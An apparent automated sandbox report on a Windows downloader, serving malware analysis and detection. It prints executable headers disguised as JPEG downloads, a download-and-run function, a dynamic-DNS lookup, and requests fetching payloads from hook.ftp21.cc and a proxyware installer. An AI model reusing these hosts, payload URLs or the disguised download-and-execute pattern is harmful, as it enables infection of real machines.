Source: http	Image file has PE prefix: HTTP/1.1 200 OK Content-Length: 3338240 Content-Type: image/jpeg Last-Modified: Tue, 02 Jul 2024 14:38:02 GMT Accept-Ranges: bytes ETag: "72b09e718dccda1:219" Server: Microsoft-IIS/6.0 Date: Sat, 06 Jul 2024 12:09:52 GMT Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 3b 34 61 bc 7f 55 0f ef 7f 55 0f ef 7f 55 0f ef 10 4a 04 ef 76 55 0f ef 10 4a 05 ef 79 55 0f ef fc 49 01 ef 53 55 0f ef 04 49 03 ef 7a 55 0f ef 29 4a 1c ef 53 55 0f ef 1d 4a 1c ef 67 55 0f ef 7f 55 0e ef e1 57 0f ef fc 5d 52 ef 7c 55 0f ef 2b 76 3e ef 7e 55 0f ef 49 73 04 ef 24 55 0f ef 49 73 05 ef ab 55 0f ef 97 4a 04 ef 23 55 0f ef 97 4a 05 ef 64 55 0f ef 7f 55 0f ef 4f 55 0f ef b8 53 09 ef 7e 55 0f ef 52 69 63 68 7f 55 0f ef 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 6a 0f 84 66 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 06 00 00 d0 32 00 00 20 00 00 00 50 5f 00 20 2d 92 00 00 60 5f 00 00 30 92 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 50 92 00 00 04 00 00 00 00 00 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 80 48 92 00 9c 02 00 00 00 30 92 00 80 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 50 58 30 00 00 00 00 00 50 5f 00 00 10 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 e0 55 50 58 31 00 00 00 00 00 d0 32 00 00 60 5f 00 00 d0 32 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 00 20 00 00 00 30 92 00 00 1c 00 00 00 d4 32 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: http	Image file has PE prefix: HTTP/1.1 200 OK Content-Length: 12244992 Content-Type: image/jpeg Last-Modified: Tue, 02 Jul 2024 14:15:46 GMT Accept-Ranges: bytes ETag: "2c8129558accda1:219" Server: Microsoft-IIS/6.0 Date: Sat, 06 Jul 2024 12:10:04 GMT Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 14 ff 8b b0 50 9e e5 e3 50 9e e5 e3 50 9e e5 e3 93 91 ba e3 54 9e e5 e3 d3 82 eb e3 4a 9e e5 e3 66 b8 ef e3 24 9e e5 e3 93 91 b8 e3 43 9e e5 e3 50 9e e4 e3 db 9f e5 e3 66 b8 ee e3 0c 9e e5 e3 50 9e e5 e3 51 9e e5 e3 b8 81 ee e3 52 9e e5 e3 52 69 63 68 50 9e e5 e3 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 0b 0e 82 66 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 06 00 00 d0 ba 00 00 10 00 00 00 60 c4 00 20 3c 7f 01 00 70 c4 00 00 40 7f 01 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 50 7f 01 00 04 00 00 00 00 00 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 b0 42 7f 01 c0 01 00 00 00 40 7f 01 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 50 58 30 00 00 00 00 00 60 c4 00 00 10 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 e0 55 50 58 31 00 00 00 00 00 d0 ba 00 00 70 c4 00 00 ce ba 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 00 10 00 00 00 40 7f 01 00 06 00 00 00 d2 ba 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Uses dynamic DNS services

Source: unknown

DNS query: name: members.3322.org

Yara detected Generic Downloader

Source: Yara match	File source: 27.2.svchost.exe.11236ba8.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.Hooks.exe.1658e76.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.Hooks.exe.1673721.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.svchost.exe.1125660d.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.svchost.exe.11251453.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.Hooks.exe.16788db.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: C:\Windows\Microsoft.NET\traffmonetizer\netstandard.dll, type: DROPPED

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 29_2_00408F10 malloc,strrchr,URLDownloadToFileA,CreateProcessA,

29_2_00408F10

Source: global traffic	TCP traffic: 192.168.2.4:55536 -> 16.162.201.176:5060
Source: global traffic	TCP traffic: 192.168.2.4:51623 -> 5.161.204.110:769
Source: global traffic	TCP traffic: 192.168.2.4:55596 -> 5.78.67.8:769
Source: global traffic	TCP traffic: 192.168.2.4:63548 -> 5.78.93.88:769
Source: global traffic	TCP traffic: 192.168.2.4:52876 -> 5.161.242.15:769
Source: global traffic	TCP traffic: 192.168.2.4:53862 -> 5.78.114.151:769

Source: global traffic	TCP traffic: 192.168.2.4:59401 -> 162.159.36.2:53
Source: global traffic	TCP traffic: 192.168.2.4:63882 -> 110.11.158.238:53
Source: global traffic	TCP traffic: 192.168.2.4:57020 -> 110.11.158.238:53
Source: global traffic	TCP traffic: 192.168.2.4:56692 -> 110.11.158.238:53
Source: global traffic	TCP traffic: 192.168.2.4:56791 -> 110.11.158.238:53
Source: global traffic	TCP traffic: 192.168.2.4:56275 -> 110.11.158.238:53
Source: global traffic	TCP traffic: 192.168.2.4:52390 -> 110.11.158.238:53
Source: global traffic	TCP traffic: 192.168.2.4:60756 -> 110.11.158.238:53
Source: global traffic	TCP traffic: 192.168.2.4:54374 -> 110.11.158.238:53
Source: global traffic	TCP traffic: 192.168.2.4:55962 -> 110.11.158.238:53
Source: global traffic	TCP traffic: 192.168.2.4:56432 -> 110.11.158.238:53
Source: global traffic	TCP traffic: 192.168.2.4:56114 -> 110.11.158.238:53
Source: global traffic	TCP traffic: 192.168.2.4:56752 -> 110.11.158.238:53
Source: global traffic	TCP traffic: 192.168.2.4:49730 -> 110.11.158.238:53
Source: global traffic	TCP traffic: 192.168.2.4:55726 -> 110.11.158.238:53
Source: global traffic	TCP traffic: 192.168.2.4:51400 -> 110.11.158.238:53
Source: global traffic	TCP traffic: 192.168.2.4:55846 -> 110.11.158.238:53
Source: global traffic	TCP traffic: 192.168.2.4:56938 -> 110.11.158.238:53
Source: global traffic	TCP traffic: 192.168.2.4:53204 -> 110.11.158.238:53
Source: global traffic	TCP traffic: 192.168.2.4:55800 -> 110.11.158.238:53
Source: global traffic	TCP traffic: 192.168.2.4:61241 -> 110.11.158.238:53
Source: global traffic	TCP traffic: 192.168.2.4:56878 -> 110.11.158.238:53
Source: global traffic	TCP traffic: 192.168.2.4:55904 -> 110.11.158.238:53
Source: global traffic	TCP traffic: 192.168.2.4:56065 -> 110.11.158.238:53
Source: global traffic	TCP traffic: 192.168.2.4:56220 -> 110.11.158.238:53
Source: global traffic	TCP traffic: 192.168.2.4:55692 -> 110.11.158.238:53
Source: global traffic	TCP traffic: 192.168.2.4:57093 -> 110.11.158.238:53
Source: global traffic	TCP traffic: 192.168.2.4:57050 -> 110.11.158.238:53
Source: global traffic	TCP traffic: 192.168.2.4:56040 -> 110.11.158.238:53
Source: global traffic	TCP traffic: 192.168.2.4:49181 -> 110.11.158.238:53
Source: global traffic	TCP traffic: 192.168.2.4:56469 -> 110.11.158.238:53
Source: global traffic	TCP traffic: 192.168.2.4:50264 -> 110.11.158.238:53
Source: global traffic	TCP traffic: 192.168.2.4:55755 -> 110.11.158.238:53
Source: global traffic	TCP traffic: 192.168.2.4:56364 -> 110.11.158.238:53
Source: global traffic	TCP traffic: 192.168.2.4:56980 -> 110.11.158.238:53
Source: global traffic	TCP traffic: 192.168.2.4:56321 -> 110.11.158.238:53
Source: global traffic	TCP traffic: 192.168.2.4:55555 -> 110.11.158.238:53
Source: global traffic	TCP traffic: 192.168.2.4:56003 -> 110.11.158.238:53
Source: global traffic	TCP traffic: 192.168.2.4:55319 -> 110.11.158.238:53
Source: global traffic	TCP traffic: 192.168.2.4:55635 -> 110.11.158.238:53
Source: global traffic	TCP traffic: 192.168.2.4:56504 -> 110.11.158.238:53
Source: global traffic	TCP traffic: 192.168.2.4:65285 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:65365 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:65320 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:65047 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:64675 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:63985 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:64677 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:59486 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:65209 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:49590 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:55961 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:50039 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:49393 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:65098 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:49823 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:65135 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:64724 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:60287 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:55977 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:50006 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:65172 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:57913 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:65142 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:64970 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:65267 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:64654 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:49852 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:63800 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:65229 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:54690 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:54338 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:49497 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:49893 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:64052 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:65185 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:65076 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:64020 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:65234 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:49446 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:64744 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:64788 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:59073 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:60815 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:63815 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:49564 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:49960 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:49761 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:50029 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:65030 -> 1.226.84.135:53

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKContent-Length: 3338240Content-Type: image/jpegLast-Modified: Tue, 02 Jul 2024 14:38:02 GMTAccept-Ranges: bytesETag: "72b09e718dccda1:219"Server: Microsoft-IIS/6.0Date: Sat, 06 Jul 2024 12:09:52 GMTData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 3b 34 61 bc 7f 55 0f ef 7f 55 0f ef 7f 55 0f ef 10 4a 04 ef 76 55 0f ef 10 4a 05 ef 79 55 0f ef fc 49 01 ef 53 55 0f ef 04 49 03 ef 7a 55 0f ef 29 4a 1c ef 53 55 0f ef 1d 4a 1c ef 67 55 0f ef 7f 55 0e ef e1 57 0f ef fc 5d 52 ef 7c 55 0f ef 2b 76 3e ef 7e 55 0f ef 49 73 04 ef 24 55 0f ef 49 73 05 ef ab 55 0f ef 97 4a 04 ef 23 55 0f ef 97 4a 05 ef 64 55 0f ef 7f 55 0f ef 4f 55 0f ef b8 53 09 ef 7e 55 0f ef 52 69 63 68 7f 55 0f ef 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 6a 0f 84 66 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 06 00 00 d0 32 00 00 20 00 00 00 50 5f 00 20 2d 92 00 00 60 5f 00 00 30 92 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 50 92 00 00 04 00 00 00 00 00 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 80 48 92 00 9c 02 00 00 00 30 92 00 80 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 50 58 30 00 00 00 00 00 50 5f 00 00 10 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 e0 55 50 58 31 00 00 00 00 00 d0 32 00 00 60 5f 00 00 d0 32 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 00 20 00 00 00 30 92 00 00 1c 00 00 00 d4 32 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKContent-Length: 12244992Content-Type: image/jpegLast-Modified: Tue, 02 Jul 2024 14:15:46 GMTAccept-Ranges: bytesETag: "2c8129558accda1:219"Server: Microsoft-IIS/6.0Date: Sat, 06 Jul 2024 12:10:04 GMTData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 14 ff 8b b0 50 9e e5 e3 50 9e e5 e3 50 9e e5 e3 93 91 ba e3 54 9e e5 e3 d3 82 eb e3 4a 9e e5 e3 66 b8 ef e3 24 9e e5 e3 93 91 b8 e3 43 9e e5 e3 50 9e e4 e3 db 9f e5 e3 66 b8 ee e3 0c 9e e5 e3 50 9e e5 e3 51 9e e5 e3 b8 81 ee e3 52 9e e5 e3 52 69 63 68 50 9e e5 e3 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 0b 0e 82 66 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 06 00 00 d0 ba 00 00 10 00 00 00 60 c4 00 20 3c 7f 01 00 70 c4 00 00 40 7f 01 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 50 7f 01 00 04 00 00 00 00 00 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 b0 42 7f 01 c0 01 00 00 00 40 7f 01 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 50 58 30 00 00 00 00 00 60 c4 00 00 10 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 e0 55 50 58 31 00 00 00 00 00 d0 ba 00 00 70 c4 00 00 ce ba 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 00 10 00 00 00 40 7f 01 00 06 00 00 00 d2 ba 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET /resolve HTTP/1.1Host: blnc.traffmonetizer.com
Source: global traffic	HTTP traffic detected: GET /resolve HTTP/1.1Host: blnc.traffmonetizer.com
Source: global traffic	HTTP traffic detected: GET /resolve HTTP/1.1Host: blnc.traffmonetizer.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /downloads/latest HTTP/1.1Host: data.traffmonetizer.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /downloads/Installer.exe HTTP/1.1Host: data.traffmonetizer.com

Source: global traffic	HTTP traffic detected: GET /MpMgSvc.dll HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: hook.ftp21.ccConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /MpMgSvc.jpg HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: hook.ftp21.ccConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Hooks.jpg HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: hook.ftp21.ccConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /dyndns/getip HTTP/1.1Connection: Keep-AliveAccept: /Accept-Language: zh-cnReferer: http://118.184.169.48/dyndns/getipUser-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)Host: 118.184.169.48
Source: global traffic	HTTP traffic detected: GET /api.php?query=8.46.123.33&co=&resource_id=6006&oe=utf8 HTTP/1.1Connection: Keep-AliveAccept: /Accept-Language: zh-cnUser-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)Host: 45.113.194.189

Source: unknown	TCP traffic detected without corresponding DNS query: 104.46.162.224
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
